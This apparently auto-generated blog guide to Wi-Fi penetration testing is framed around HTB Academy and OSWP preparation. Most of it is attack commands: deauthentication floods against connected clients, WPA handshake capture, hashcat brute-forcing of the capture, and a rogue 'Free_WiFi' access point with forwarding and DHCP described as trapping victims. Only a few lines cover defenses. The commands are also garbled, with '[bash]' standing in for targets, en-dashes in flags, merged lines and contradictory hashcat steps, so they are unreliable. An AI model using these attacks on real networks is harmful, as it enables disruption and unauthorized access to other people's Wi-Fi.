Introduction
Wi-Fi penetration testing is a critical skill for cybersecurity professionals, enabling them to identify vulnerabilities in wireless networks before attackers exploit them. Hack The Box (HTB) Academy offers comprehensive training modules, such as “WiFi Penetration Testing Basics,” which prepare learners for real-world attacks and certifications like OSWP (Offensive Security Wireless Professional) | PEN-210. This guide explores key techniques, commands, and methodologies covered in HTB’s Wi-Fi modules.
Learning Objectives
- Understand fundamental Wi-Fi attack vectors and defenses.
- Learn practical commands for wireless reconnaissance and exploitation.
- Prepare for the OSWP certification with hands-on exercises.
You Should Know
1. Wireless Reconnaissance with Airodump-ng
Command:
sudo airodump-ng wlan0mon
Step-by-Step Guide:
1. Put your wireless adapter in monitor mode:
sudo airmon-ng start wlan0
2. Run `airodump-ng` to scan nearby networks:
– `wlan0mon` is the monitoring interface.
– Identifies BSSID, ESSID, channel, and connected clients.
3. Use `–bssid` and `–channel` to focus on a target network.
2. Capturing Handshakes with Airodump-ng & Aireplay-ng
Commands:
sudo airodump-ng --bssid [bash] -c [bash] --write handshake wlan0mon sudo aireplay-ng --deauth 10 -a [bash] -c [bash] wlan0mon
Step-by-Step Guide:
1. Capture packets from a target network:
– `–write handshake` saves packets to a `.cap` file.
2. Force clients to reconnect using a deauthentication attack:
– `–deauth 10` sends 10 deauth packets.
3. Verify handshake capture with `cap2hccapx` or Wireshark.
3. Cracking WPA/WPA2 Handshakes with Hashcat
Command:
hashcat -m 22000 handshake.cap -a 3 ?l?l?l?l?l?l?l
Step-by-Step Guide:
1. Convert `.cap` to `.hccapx` for Hashcat:
cap2hccapx handshake.cap output.hccapx
2. Run Hashcat in brute-force mode (-a 3) with a 7-character lowercase mask (?l?l?l?l?l?l?l).
3. Use `–show` to display cracked passwords.
4. Rogue Access Point Attacks with Hostapd
Configuration File (`hostapd.conf`):
interface=wlan0 driver=nl80211 ssid=Free_WiFi hw_mode=g channel=6
Step-by-Step Guide:
1. Set up a fake AP using `hostapd`:
sudo hostapd hostapd.conf
2. Enable IP forwarding and DHCP to trap victims:
sudo sysctl net.ipv4.ip_forward=1 sudo dnsmasq -C dnsmasq.conf
- Mitigating Evil Twin Attacks with WPA3 & 802.1X
Defense Steps:
1. Upgrade to WPA3 for stronger encryption.
2. Implement 802.1X/EAP for enterprise authentication.
- Monitor for rogue APs with tools like `Kismet` or
WIPS.
What Undercode Say
- Key Takeaway 1: HTB Academy’s Wi-Fi modules provide overkill knowledge for OSWP, making them ideal for deep learning.
- Key Takeaway 2: Practical attacks like deauth, handshake capture, and rogue APs are foundational for wireless security assessments.
Analysis:
While HTB’s training exceeds OSWP requirements, the extra depth ensures professionals can handle advanced attack scenarios. The shift toward WPA3 and Zero Trust in enterprise networks means pentesters must adapt—learning both legacy and modern attacks.
Prediction
As Wi-Fi 6/6E and WPA3 adoption grows, attackers will shift focus to misconfigurations, IoT devices, and phishing via captive portals. Continuous learning through platforms like HTB Academy will remain essential for staying ahead.
